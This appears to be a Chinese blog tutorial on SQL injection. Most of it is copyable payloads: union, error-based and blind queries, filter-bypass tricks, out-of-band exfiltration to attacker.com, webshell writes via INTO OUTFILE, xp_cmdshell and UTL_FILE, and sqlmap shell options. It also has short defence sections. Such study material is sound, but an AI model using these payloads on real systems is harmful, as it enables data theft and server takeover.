SQL注入总结

Mathieu 于 2024-02-15 发布

SQL注入总结

原理

SQL注入的根本原因在于应用程序将用户输入的数据“拼接”到了SQL查询语句中,并把这些输入当作了SQL代码的一部分来执行。

分类

  1. 联合注入

    union注入 使用UNION操作符将一个恶意的查询结果附加到正常的查询结果后面,一次性地将敏感数据“带”出来,显示在页面上。

    注入攻击流程:

     #发现列数量
     1' ORDER BY 1-- //依次递增直到发生异常,前一列就是目标(3报错目标就是2),假设这里是2
        
     #判断回显列
     1' union select 1,2 -- //这里假设两个都回显
        
     #查当前数据库名
     1' union select null,database() -- //假设数据库叫DB
        
     #查表名
     1' UNION SELECT null, table_name FROM information_schema.tables WHERE table_schema = 'DB' -- 
     //假设目标表名叫user
        
     #查目标列名
     1' UNION SELECT null, column_name FROM information_schema.columns WHERE table_name = 'user' AND table_schema = 'DB' -- 
     //假设目标列名为username,password
        
     #查数据
     1' UNION SELECT username, password FROM DB.user -- 
    
  2. 报错注入

    利用数据库的出错信息来获取敏感数据。攻击者构造非法的SQL,让数据库返回的错误信息中包含他想要的数据。

    报错函数:ExtractValue,updatexml,floor()语句

    1. ExtractValue

      工作原理:从第一个参数(XML片段)中,使用第二个参数(XPath路径)来查询具体的值。

      报错原理:如果第二个参数(XPath路径表达式)不符合XPath格式规范,MySQL就会在错误信息中抛出这个不合法的XPath字符串。

      制造错误的方法: 在XPath中,~^!等字符是非法开头的。最常用 0x7e(即 ~ 符号的十六进制)来作为一个非法XPath的开头。

      常用payload:

       1 AND extractvalue(1, concat(0x7e, (SELECT database()), 0x7e))
       //这里第二个参数其实就是 ~DB~ 并且在1里面查,肯定报错了,抛出~DB~
      

      注意点:ExtractValue的报错返回字符串长度最大为32,所以如果查的数据太长时需要使用substr() 或 limit 分次截取。

      substr(str, pos, len)

      • str:要处理的字符串
      • pos:起始位置(从 1 开始)
      • len:截取长度

      LIMIT offset, count

      • LIMIT 0,1 → 从第 0 行开始,取 1 行

      注出表名的payload:

       1 AND extractvalue(1, concat(0x7e, (SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1)))
              
       1 AND extractvalue(1, concat(0x7e, substr((SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database()), 1, 31)))
              
       GROUP_CONCAT():作用是将查到的表名连成字符串
      
    2. UpdateXML

      工作原理:UpdateXML(xml_target, xpath_expr, new_xml),将xml_target中匹配xpath_expr的部分替换为new_xml

      报错原理:和 ExtractValue() 完全一样:如果第二个参数(XPath路径表达式)不符合XPath格式,MySQL就会在错误信息中抛出这个非法字符串。

      常用payload:

       1 AND updatexml(1, concat(0x7e, (SELECT database()), 0x7e), 1)
      
    3. Floor() + count() + group by

      利用了数据库主键重复的错误。通常被称为“双查询注入”或“分组报错注入”。

      payload:

       1 AND (SELECT 1 FROM (SELECT count(*), concat((SELECT database()), 0x7e, 
       floor(rand(0)*2)) AS x FROM information_schema.tables GROUP BY x) AS y)
      

      分解payload:

      1. (SELECT database()):结果为 my_database
      2. floor(rand(0)*2)rand(0) 产生一个固定的随机序列(如 0.7, 0.4, 0.3, …),*2 后范围是 (0, 2),floor() 取整后,结果序列是 1, 0, 1, 1, 0, ...。这个不确定的结果是触发错误的关键。
      3. concat(..., 0x7e, floor(rand(0)*2):假设第一次执行结果是 concat('my_database', '~', 1) = 'my_database~1'
      4. ... AS x FROM ... GROUP BY x:告诉数据库按 x 字段(即 my_database~1my_database~0 这样的值)进行分组统计。
      5. 数据库在构建临时表处理 GROUP BY 时,由于 rand(0) 值的不确定性,导致了上述的主键重复错误。
      6. 报错信息类似于: Duplicate entry 'my_database~1' for key 'group_key'
      7. 目标数据 my_database 再次成功回显。

      此方法通常没有32位的长度限制,可以一次性爆出更长的字符串。

  3. 盲注
    1. 时间盲注 页面无论查询成功与否,返回的页面都完全一样。通过构造带有SLEEP()BENCHMARK()等延迟函数的SQL语句,根据服务器的响应时间长短来判断查询是否成功执行。

      函数:sleep(),benchmark()

      sleep(n):传入的n是多少延时多少秒

       1 AND IF( (SELECT SUBSTRING(version(),1,1)) = '5', SLEEP(5), 0)
      

      benchmark(count, expr):重复执行表达式exprcount

       1 AND IF( (SELECT SUBSTRING(version(),1,1)) = '5', BENCHMARK(5000000, MD5('a')), 0)
      
    2. 布尔盲注

      页面不会返回详细错误或查询结果,只会根据查询成功与否返回两种不同的状态(例如“登录成功”/“登录失败”或“页面存在”/“页面不存在”或页面回显长度等等)。通过构造SQL,一次猜一个字符,根据页面的不同反应来判断猜测是否正确。

       1' AND ASCII(SUBSTR(database(),1,1))=116 -- //判断数据库第一个字母是否为t,其余类推
              
       1' AND SUBSTR((SELECT table_name FROM information_schema.tables 
                      WHERE table_schema=database() LIMIT 0,1),1,1)='u' -- //判断第一个表的第一个字母是否为u
                             
       。。。。剩下的就和上面写的核心是一样的
      

      常用的函数:

      • LENGTH(str) → 获取长度
      • SUBSTR(str,pos,len) → 截取子串
      • ASCII(char) → 转换为 ASCII
      • COUNT(*) → 获取数量
      • LIMIT offset, count → 定位某一条数据
  4. 二次注入与带外注入
    1. 二次注入

      简单说就是第一次注入的时候是参数化查询啥的没执行到恶意的SQL然后将这段数据插入到了数据库,在另外的一个地方对这个数据进行数据库操作了,这里没进行过滤等机制,直接就执行了恶意的SQL。

       注册用户名admin' -- 
       修改密码UPDATE users SET password = 'newpass' WHERE username = 'admin' -- '
      
    2. 带外注入

      需要数据库服务器能够发起出站网络请求(DNS, HTTP, SMB等)。

      原理就是借助目标数据库直接发起网络请求

      1. DNS

         MySql
         ... AND LOAD_FILE(CONCAT('\\\\', (SELECT user FROM mysql.user LIMIT 0,1), '.attacker.com\\a'))
         //数据库借助 LOAD_FILE() 直接访问目标服务器,
         //这时发起的DNS请求的域名就是 查到的用户名.attacker.com
                    
         SQL Server
         ...; EXEC master..xp_dirtree ('\\databasename.attacker.com\a');
         -- 或者利用变量
         DECLARE @data varchar(1024);
         SELECT @data = (SELECT DB_NAME());
         EXEC ('master..xp_dirtree ''\\' + @data + '.attacker.com\a''');
        
      2. Http

         Oracle:
         ... AND UTL_HTTP.REQUEST('http://attacker.com/' || (SELECT user FROM dual)) IS NOT NULL
         //查看Web服务器的访问日志,就能看到包含数据的URL
                    
         SQL Server
         使用xp_cmdshell执行命令行工具如curl或powershell来发送HTTP请求
         但是要求权限太高了需要sa用户
        

绕过手法

  1. 通用手法

     1. 注释符绕过
     -- (注意末尾空格)
     #
     /**/ (最常用常用于代替空格)
     /*! ... */ (内联注释MySQL特有其中的代码会被执行)
     	/*!50000select*/ user()  在MySQL版本>=5.00.00时执行其中的语句
     /*!xxxx*/ 版本号注释
        
     2. 大小写双写
     SeLEcT
     UnIoN
     sELecT -> 如果过滤是select则双写selselectect 
        
     3. 编码绕过
     字符串换为16进制
     URL编码关键词get传参双重编码
     CHAR()函数->SELECT CHAR(97, 98, 99) -> abc
        
     4. 等价函数变量替换
     database() <-> schema()
     substr() <-> substring() <-> mid() <-> left()
     ascii() <-> hex() <-> bin() <-> ord()
     sleep() <-> benchmark(10000000, md5('test')) (通过大量运算实现延时)
     @@version <-> version()
        
     5. 特殊字符绕过空格
     %09 (TAB)
     %0a (换行)
     %0b (垂直TAB)
     %0c (换页)
     %0d (回车)
     /**/
     () 括号union(select(1),2,3)
        
     6. 缓冲区溢出
     比如
     AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..... 再拼接恶意SQL
    
  2. 分类绕过

     1. 联合注入
     Order by -> 1 group by 1,2,3,4#
     数据类型不匹配时也就是说代码里面写的是查数字型但是SQL写的传入的字符型就会报错
     这个时候可以将列的占位换位null或者十进制十六进制的数字
        
     2. 报错注入
     报错函数被禁时考虑替换为几何函数
     geometrycollection()
     multipoint()
     polygon()
     multipolygon()
     linestring()
     multilinestring()
     ST_LatFromGeoHash() (MySQL >= 5.7)
     ST_LongFromGeoHash() (MySQL >= 5.7)
        
     1 AND ST_LatFromGeoHash(concat(0x7e,(select database()),0x7e))
     1 AND multipoint((select * from (select * from (select version())a)b))
        
     数据溢出exp()指数函数),一个大数参数会导致DOUBLE value is out of range错误
     1 AND exp(~(select * from (select version())a))
        
     3. 布尔盲注
     if() 被过滤case when ... then ... else ... end
     1 and case when (ascii(substr(database(),1,1))>100) then sleep(2) else 0 end
        
     and/or被过滤
     使用&&  || 需URL编码为%26%26%7c%7c
     使用^ (异或) 进行逻辑判断 1 ^ (ascii(substr(database(),1,1))>100)^0
        
     4. 时间盲注
     笛卡尔积延时海量查询大量计算
     1' AND IF((ascii(substr(database(),1,1)) > 100), (SELECT count(*) FROM
      information_schema.columns A, information_schema.columns B,
       information_schema.columns C), 0)
     //ABC可以都换为information_schema.columns
        
     GET_LOCK() 竞争延时死锁等待需要两个数据库连接
     占锁
     1' AND GET_LOCK('my_lock', 10) //锁的名字,随便
     盲注测试
     1' AND IF((ascii(substr(database(),1,1)) > 100), GET_LOCK('my_lock', 10), 0)
        
     RLIKE / REGEXP 延时复杂表达式达成大量计算
     1' AND IF((ascii(substr(database(),1,1)) > 100), 
     (SELECT RPAD('a',5000,'a') RLIKE '(a.*)*b'), 0)
    

防御

  1. 参数化查询:MyBatis中的#{…}(动态化查询不能使用参数化查询)
  2. 输入过滤
  3. 最小权限原则
  4. 关闭报错信息
  5. 增加WAF

获取shell的方法

基本所有的方法都需要以下条件:

  1. 足够高的数据库权限
    • MySQL: FILE 权限,甚至 SUPER 权限或 root 用户。
    • MSSQL: sysadmin 服务器角色。
    • Oracle: DBA 角色,以及对 UTL_FILEJAVA 等包的执行权限。
  2. Web目录绝对路径:写入Webshell的基础。可通过报错、漏洞探测、配置文件等获取。
  3. 对Web目录的写权限:数据库进程运行账户必须对目标Web目录有写入权限。
  4. 特定的数据库配置
    • MySQL: secure_file_priv 设置必须允许向目标路径导出文件。
    • MSSQL: 相关存储过程(如 xp_cmdshellOle Automation Procedures)可能需手动开启。
  5. MySql
    1. INTO OUTFILE/DUMPFILE 写入

      要求:FILE权限(通过SELECT user, file_priv FROM mysql.user 查询),secure_file_priv为空,绝对路径

       -- 写入一个最简单的PHP Webshell
       SELECT '<?php @eval($_POST["cmd"]);?>' INTO OUTFILE '/var/www/html/shell.php';
              
       -- 在联合注入中使用需要确定列数
       UNION SELECT 1, '<?php system($_GET["c"]);?>', 3 INTO OUTFILE 'C:\\xampp\\htdocs\\shell.php'-- -
              
       -- 使用DUMPFILE适用于写入二进制文件或避免写入内容被转义/换行
       SELECT '<?php system($_GET[c]);?>' INTO DUMPFILE 'D:/www/shell.php';
      
    2. 日志写shell

      要求:管理员权限

       1. 查看当前日志配置SHOW VARIABLES LIKE '%general%;
       2. 开启通用日志并设置日志路径为Web目录
       	SET GLOBAL general_log = 'ON';
       	SET GLOBAL general_log_file = '/var/www/html/shell.php';
       3. 执行一条查询”,其内容就是Webshell代码
       	SELECT '<?php @eval($_POST[a]);?>';
      
    3. UDF提权

      利用MySQL的可扩展性,创建一个可以执行系统命令的自定义函数(UDF),然后通过调用这个函数来实现任意命令执行,从而提权。

      要求:

      image.png

      过程复杂建议使用工具:https://github.com/AgeloVito/MDAT

  6. SQL server
    1. xp_cmdshell

      条件:默认关闭,需要sysadmin权限开启

       EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
       EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
       EXEC xp_cmdshell 'whoami';
       -- 一键写入Webshell
       EXEC xp_cmdshell 'echo ^<?php @eval($_POST[cmd])?^> > C:\inetpub\wwwroot\shell.php';
      
    2. sp_oacreate

      原理:利用OLE自动化存储过程 (sp_oacreate) 调用文件系统对象来写文件。

      条件:需要先启用Ole Automation Procedures

       DECLARE @o INT, @f INT, @t INT, @ret INT;
       EXEC sp_oacreate 'Scripting.FileSystemObject', @o OUT;
       EXEC sp_oamethod @o, 'CreateTextFile', @f OUT, 'C:\www\shell.asp', 1;
       EXEC sp_oamethod @f, 'Write', @ret OUT, '<% ExecuteGlobal(Request("cmd")) %>';
       EXEC sp_oamethod @f, 'Close';
       EXEC sp_oadestroy @f; EXEC sp_oadestroy @o;
      
  7. Oracle
    1. UTL_FILE 原理:使用 UTL_FILE 包向服务器文件系统写文件。

      要求:需要预先配置允许写入的目录对象,并且用户有对该目录对象的写权限。

       DECLARE
         f UTL_FILE.FILE_TYPE;
       BEGIN
         f := UTL_FILE.FOPEN('WEBDIR', 'shell.jsp', 'W'); -- WEBDIR为目录对象
         UTL_FILE.PUT_LINE(f, '<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>');
         UTL_FILE.FCLOSE(f);
       END;
      
    2. Java代码执行

      要求:用户具有CREATE SESSION 的权限

      过程复杂参考:https://hughlhz.github.io/2020/07/15/oracle_exec/

  8. PostgreSQL
    1. COPY TO

      类似于MySql的INTO OUTFILE

      要求:需要超级用户权限

       COPY (SELECT '<?php system($_GET["c"]);?>') TO '/var/www/html/shell.php';
      
    2. 大对象导出 原理:将Webshell代码作为大对象写入数据库,再将其导出到文件。

       SELECT lo_export(lo_create(0), '/tmp/shell.php');
       UPDATE pg_largeobject SET data = convert_to('<?php system($_GET["c"]);?>', 'UTF-8') WHERE loid = 12345; -- 先写入数据再导出
      

GetShell防御

  1. 根本措施:预编译(参数化查询):杜绝SQL注入的发生,从源头上切断所有可能性。
  2. 最小权限原则
    • 数据库用户:严格限制权限,禁止授予 FILEsysadminDBA 等不必要的权限。
    • 运行账户:为数据库服务分配低权限运行账户,严格控制其对Web目录的写权限。
  3. 安全加固配置
    • MySQL: 设置 secure_file_priv=NULL 或指定一个非Web的安全路径。
    • MSSQL: 禁用 xp_cmdshellOle Automation Procedures 等危险组件。
    • 定期更新数据库版本,修补已知安全漏洞。
  4. 输入验证与过滤:对用户输入进行严格的类型、长度、格式检查。
  5. 纵深防御
    • 部署WAF(Web应用防火墙)拦截攻击Payload。
    • 对服务器进行严格的文件权限控制。
    • 对数据库操作进行审计日志记录,便于追踪和发现攻击行为。

SQLMap常用命令

功能类别 命令选项 说明
目标设置 -u "URL" 指定目标URL进行测试
  --data="POST数据" 指定POST请求的数据
  --cookie="Cookie值" 设置Cookie值
  -r <文件> 从HTTP请求文件中加载目标
请求设置 --random-agent 使用随机的User-Agent头
  --proxy="代理地址" 使用代理服务器
  --delay=延迟秒数 设置请求之间的延迟
注入设置 -p "参数" 指定要测试的参数
  --dbms="数据库类型" 指定后端DBMS类型(如MySQL、Oracle等)
  --level=级别(1-5) 测试等级
  --risk=风险(0-3) 测试风险级别
  --tamper="篡改脚本" 使用脚本绕过WAF/IDS
检测技术 --technique=技术字母 指定注入技术(B:布尔盲注, T:时间盲注, E:报错注入, U:联合查询, S:堆查询)
枚举信息 --current-db 获取当前数据库名称
  --dbs 枚举数据库管理系统数据库
  -D 数据库名 --tables 枚举指定数据库中的表
  -D 数据库名 -T 表名 --columns 枚举指定表的列
  -D 数据库名 -T 表名 -C "列1,列2" --dump 导出指定列的数据
文件操作 --file-read="服务器文件路径" 读取服务器上的文件
  --file-write="本地文件" --file-dest="服务器路径" 上传本地文件到服务器
OS交互 --os-shell 尝试获取一个交互式的操作系统shell
  --os-cmd="命令" 执行一条操作系统命令
通用选项 --batch 以非交互模式运行,所有操作使用默认确认
  -v <级别(0-6)> 详细输出级别